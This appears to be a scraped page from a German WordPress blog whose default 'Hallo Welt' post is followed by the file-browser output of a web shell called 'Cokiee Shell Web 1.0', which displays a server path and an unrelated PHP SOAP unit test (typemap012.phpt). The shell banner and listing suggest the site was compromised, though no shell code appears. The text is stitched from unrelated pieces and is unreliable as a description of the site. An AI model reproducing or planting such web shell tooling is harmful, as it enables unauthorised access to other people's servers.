Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/soap/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/soap/tests/typemap012.phpt |
--TEST-- SOAP Typemap 12: SoapClient support for typemap's to_xml() (SoapFault) --SKIPIF-- <?php require_once('skipif.inc'); ?> --INI-- soap.wsdl_cache_enabled=0 --FILE-- <?php class TestSoapClient extends SoapClient{ function __doRequest($request, $location, $action, $version, $one_way = 0) { echo $request; exit; } } class book{ public $a="a"; public $b="c"; } function book_to_xml($book) { throw new SoapFault("Client", "Conversion Error"); } $options=Array( 'actor' =>'http://schemas.nothing.com', 'typemap' => array(array("type_ns" => "http://schemas.nothing.com", "type_name" => "book", "to_xml" => "book_to_xml")) ); $client = new TestSoapClient(dirname(__FILE__)."/classmap.wsdl",$options); $book = new book(); $book->a = "foo"; $book->b = "bar"; try { $ret = $client->dotest($book); } catch (SoapFault $e) { $ret = "SoapFault = " . $e->faultcode . " - " . $e->faultstring; } var_dump($ret); echo "ok\n"; ?> --EXPECT-- string(37) "SoapFault = Client - Conversion Error" ok
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare